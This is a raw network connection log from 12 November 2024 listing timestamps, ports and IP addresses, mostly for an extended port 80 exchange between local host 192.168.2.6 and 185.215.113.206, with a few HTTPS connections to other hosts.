Nov 12, 2024 17:07:55.391614914 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391628981 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391642094 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391642094 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391643047 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391658068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391670942 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391684055 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391684055 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391695023 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.391702890 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391712904 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.391727924 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.392016888 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392041922 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392056942 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392071962 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392086029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392093897 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.392098904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392119884 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392129898 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.392129898 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.392132044 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392143965 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392155886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392174959 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.392188072 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.392214060 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.392405987 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392421961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392433882 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392451048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392467976 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.392467976 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.392492056 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392504930 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392510891 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.392518044 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.392530918 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.392550945 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.392573118 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.410938978 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.410984993 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.411012888 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.411022902 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.411052942 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.413543940 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.413559914 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.413600922 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.413608074 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.413630962 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.417200089 CET	443	49964	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:55.417426109 CET	49964	443	192.168.2.6	20.125.209.212
Nov 12, 2024 17:07:55.417438030 CET	443	49964	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:55.417843103 CET	443	49964	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:55.418140888 CET	49964	443	192.168.2.6	20.125.209.212
Nov 12, 2024 17:07:55.418207884 CET	443	49964	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:55.418299913 CET	49964	443	192.168.2.6	20.125.209.212
Nov 12, 2024 17:07:55.462373972 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.463326931 CET	443	49964	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:55.468559980 CET	49973	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:55.468595028 CET	443	49973	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:55.468677998 CET	49973	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:55.469341040 CET	49973	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:55.469364882 CET	443	49973	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:55.508469105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.508541107 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.508541107 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.508580923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.508594990 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.508626938 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.508656979 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.508681059 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.508697033 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.508707047 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.508721113 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.508733988 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.508733988 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.508763075 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.508821964 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.508892059 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.508910894 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.508922100 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.508934021 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.508945942 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.508955956 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.508975983 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.509000063 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.509108067 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509119987 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509131908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509144068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509154081 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509176016 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.509176016 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.509212017 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.509279013 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509295940 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509308100 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509319067 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509330988 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509332895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.509332895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.509356976 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.509380102 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.509504080 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509516001 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509535074 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509546041 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509558916 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.509561062 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509574890 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509582996 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.509624958 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.509624958 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.509768963 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509779930 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509790897 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509803057 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509804964 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.509815931 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.509833097 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.509881973 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.510032892 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510044098 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510055065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510066032 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510077953 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510085106 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.510088921 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510102034 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510114908 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510124922 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.510124922 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.510127068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510139942 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.510150909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510186911 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.510199070 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.510366917 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510380983 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510391951 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510402918 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510413885 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510422945 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.510426044 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510438919 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.510461092 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.510652065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510668993 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510679007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510689974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510701895 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510710955 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.510715008 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510727882 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510736942 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.510741949 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510754108 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510765076 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510775089 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.510778904 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.510778904 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.510809898 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.510838032 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511183977 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511197090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511208057 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511219025 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511231899 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511235952 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511244059 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511255980 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511257887 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511271954 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511291981 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511295080 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511295080 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511305094 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511320114 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511327982 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511332035 CET	443	49968	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.511338949 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511343002 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511367083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511367083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511405945 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511579990 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511593103 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511611938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511629105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511635065 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511641979 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511653900 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511662960 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511687040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511691093 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511698961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511709929 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511715889 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511722088 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511734009 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511749029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.511775017 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511775017 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.511811972 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.512065887 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512078047 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512088060 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512099981 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512110949 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512119055 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.512125015 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512139082 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512150049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512155056 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.512162924 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512173891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512187004 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512188911 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.512188911 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.512208939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512211084 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.512227058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512238979 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.512267113 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.512557030 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512567997 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512578964 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512593031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512605906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512614012 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.512624979 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512633085 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.512639046 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512653112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512665033 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.512710094 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.512710094 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.512798071 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512810946 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512821913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512833118 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.512837887 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.512855053 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.512878895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.522536039 CET	49968	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.522567987 CET	443	49968	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.522990942 CET	49968	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.522998095 CET	443	49968	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.537321091 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.537341118 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.537400961 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.537415028 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.537513018 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.538921118 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:55.538976908 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:55.577594995 CET	443	49964	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:55.603928089 CET	443	49970	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.604686975 CET	49970	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.604702950 CET	443	49970	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.605288029 CET	49970	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.605294943 CET	443	49970	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.610665083 CET	443	49964	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:55.610758066 CET	49964	443	192.168.2.6	20.125.209.212
Nov 12, 2024 17:07:55.612597942 CET	49964	443	192.168.2.6	20.125.209.212
Nov 12, 2024 17:07:55.612610102 CET	443	49964	20.125.209.212	192.168.2.6
Nov 12, 2024 17:07:55.627897024 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.627938986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.627954006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628009081 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628012896 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628022909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628041029 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628050089 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628081083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628151894 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628165007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628175974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628186941 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628199100 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628216028 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628232002 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628243923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628248930 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628253937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628293991 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628312111 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628317118 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628329039 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628340960 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628351927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628364086 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628371954 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628371954 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628417969 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628571987 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628582001 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628592014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628606081 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628617048 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628618002 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628628969 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628635883 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628639936 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628652096 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628664017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628680944 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628684044 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628715038 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628739119 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628835917 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628849030 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628859997 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628870964 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628882885 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628889084 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628889084 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628895044 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628909111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.628936052 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628936052 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.628967047 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.629108906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.629122019 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.629132986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.629148006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.629159927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.629168034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.629168034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.629169941 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.629192114 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.629198074 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.629204988 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.629209042 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.629236937 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.629281998 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.629296064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.629304886 CET	49859	80	192.168.2.6	185.215.113.206
